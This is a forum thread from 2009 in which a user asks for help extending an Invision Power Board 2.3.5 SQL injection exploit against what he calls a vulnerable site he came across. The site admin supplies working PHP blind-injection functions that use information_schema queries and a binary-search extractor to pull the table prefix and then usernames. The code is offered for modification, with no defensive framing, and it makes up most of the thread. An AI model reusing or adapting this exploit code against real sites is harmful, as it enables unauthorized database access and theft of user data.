Waraxe IT Security Portal
Login or Register
September 8, 2024
Menu
Home
Logout
Discussions
Forums
Members List
IRC chat
Tools
Base64 coder
MD5 hash
CRC32 checksum
ROT13 coder
SHA-1 hash
URL-decoder
Sql Char Encoder
Affiliates
y3dips ITsec
Md5 Cracker
User Manuals
AlbumNow
Content
Content
Sections
FAQ
Top
Info
Feedback
Recommend Us
Search
Journal
Your Account
User Info
Welcome, Anonymous
Nickname
Password
(Register)

Membership:
Latest: MichaelSnaRe
New Today: 0
New Yesterday: 0
Overall: 9144

People Online:
Visitors: 75
Members: 0
Total: 75
Full disclosure
[SYSS-2024-030]: C-MOR Video Surveillance - OS Command Injection (CWE-78)
[SYSS-2024-029]: C-MOR Video Surveillance - Dependency on Vulnerable Third-Party Component (CWE-1395)
[SYSS-2024-028]: C-MOR Video Surveillance - Cleartext Storage of Sensitive Information (CWE-312)
[SYSS-2024-027]: C-MOR Video Surveillance - Improper Privilege Management (CWE-269)
[SYSS-2024-026]: C-MOR Video Surveillance - Unrestricted Upload of File with Dangerous Type (CWE-434)
[SYSS-2024-025]: C-MOR Video Surveillance - Relative Path Traversal (CWE-23)
Backdoor.Win32.Symmi.qua / Remote Stack Buffer Overflow (SEH)
HackTool.Win32.Freezer.br (WinSpy) / Insecure CredentialStorage
Backdoor.Win32.Optix.02.b / Weak Hardcoded Credentials
Backdoor.Win32.JustJoke.2 1 (BackDoor Pro) / Unauthenticated Remote Command Execution
Backdoor.Win32.PoisonIvy. ymw / Insecure Credential Storage
[SYSS-2024-024]: C-MOR Video Surveillance - Improper Access Control (CWE-284)
[SYSS-2024-023]: C-MOR Video Surveillance - SQL Injection(CWE-89)
[SYSS-2024-022]: C-MOR Video Surveillance - Cross-Site Request Forgery (CWE-352)
[SYSS-2024-021]: C-MOR Video Surveillance - Persistent Cross-Site Scripting (CWE-79)
Log in Register Forum FAQ Memberlist Search
IT Security and Insecurity Portal

www.waraxe.us Forum Index -> Invision Power Board -> IPB <= 2.3.5 injeciton - Get table prefix and usernames?
Post new topicReply to topic View previous topic :: View next topic
IPB <= 2.3.5 injeciton - Get table prefix and usernames?
PostPosted: Sat Jul 11, 2009 6:00 pm Reply with quote
renaker
Active user
Active user
Joined: Nov 15, 2008
Posts: 27




Hi everyone,

I've been using waraxe's IPB <= 2.3.5 (version 1.2). I've come across what would be a vulnerable site, but the table prefix isn't ibf_. Another issue is getting the username, since I'm guessing most people rely on the display name being the username.

I can code php pretty well, but my mysql knowledge is pretty primitive. Does anyone have a script out there that ether gets the table prefix, or a username from the user id? If not, if someone could so much as present the concept, I'd love to try and write a script for it and share. I've been semi-studying waraxe's script, and get I alot of it, but the mysql stuff still kinda tarts me out lol.
View user's profile Send private message
PostPosted: Sat Jul 11, 2009 7:37 pm Reply with quote
waraxe
Site admin
Site admin
Joined: May 11, 2004
Posts: 2407
Location: Estonia, Tartu




Someone allready did modifications you are interested in:

http://www.waraxe.us/ftopict-3942.html


And for your information - here is code snippet, that does the prefix fetching magic:

Code:

function get_prefix()
{
$out = '';
echo "Fetching prefix ...\n";

$p = '(SELECT COUNT(table_name) FROM information_schema.tables WHERE table_schema=DATABASE() AND table_name LIKE 0x256d656d626572735f636f6e7665726765)=1';
if(test_condition($p) === false)
{
die('Failed check for table count');
}

$p = '(SELECT LENGTH(table_name) FROM information_schema.tables WHERE table_schema=DATABASE() AND table_name LIKE 0x256d656d626572735f636f6e7665726765)';
$len = get_num(0, 100, $p);
$len -= 16;
if($len < 0)
{
die('Prefix fetch failed!');
}
else
{
echo "prefix length is $len bytes\n";
}

//%_members_converge == 0x256d656d626572735f636f6e7665726765
$p = "(SELECT ORD(SUBSTR(table_name,%d,1)) FROM information_schema.tables WHERE table_schema=DATABASE() AND table_name LIKE 0x256d656d626572735f636f6e7665726765)";

for($i = 1; $i < $len + 1; $i ++)
{
$p2 = sprintf($p, $i);
$ch = chr(get_num(32, 128, $p2));
echo "Got pos $i --> $ch\n";
$out .= "$ch";
echo "Current prefix: $out \n";
}

echo "\nFinal prefix: $out\n\n";

return $out;
}


It's coming from private exploit, but you can modify it for your own needs.

P.S. MySql version needs to be >= 5.0 because of the information_schema meta database. If MySql is older, then you need to use bruteforce or wordlists in order to guess the prefix.
View user's profile Send private message Send e-mail Visit poster's website
PostPosted: Sat Jul 11, 2009 8:53 pm Reply with quote
renaker
Active user
Active user
Joined: Nov 15, 2008
Posts: 27




very cool, thanks a lot waraxe Very Happy



edit: any chance you could include the get_num function as well, it calls it, i don't have it? It would save me a lot of time <3
View user's profile Send private message
PostPosted: Sun Jul 12, 2009 1:17 pm Reply with quote
waraxe
Site admin
Site admin
Joined: May 11, 2004
Posts: 2407
Location: Estonia, Tartu




renaker wrote:
very cool, thanks a lot waraxe Very Happy



edit: any chance you could include the get_num function as well, it calls it, i don't have it? It would save me a lot of time <3


Code:

function get_num($min, $max, $pattern)
{
$curr = $out = 0;

while(1)
{
$area = $max - $min;
if($area < 2 )
{
$post = $pattern . "=$max";
$eq = test_condition($post);

if($eq)
{
$out = $max;
}
else
{
$out = $min;
}

break;
}

$half = intval(floor($area / 2));
$curr = $min + $half;

$post = $pattern . '%253e' . $curr;

$bigger = test_condition($post);

if($bigger)
{
$min = $curr;
}
else
{
$max = $curr;
}

echo "Current test: $curr-$max-$min\n";
}

return $out;
}
View user's profile Send private message Send e-mail Visit poster's website
PostPosted: Sun Jul 12, 2009 5:55 pm Reply with quote
renaker
Active user
Active user
Joined: Nov 15, 2008
Posts: 27




thanks agian. Smile
View user's profile Send private message
IPB <= 2.3.5 injeciton - Get table prefix and usernames?
www.waraxe.us Forum Index -> Invision Power Board
You cannot post new topics in this forum
You cannot reply to topics in this forum
You cannot edit your posts in this forum
You cannot delete your posts in this forum
You cannot vote in polls in this forum
All times are GMT
Page 1 of 1

Post new topicReply to topic


Powered by phpBB © 2001-2008 phpBB Group



Space Raider game for Android, free download - Space Raider gameplay video - Zone Raider mobile games
All logos and trademarks in this site are property of their respective owner. The comments and posts are property of their posters, all the rest (c) 2004-2024 Janek Vind "waraxe"
Page Generation: 0.124 Seconds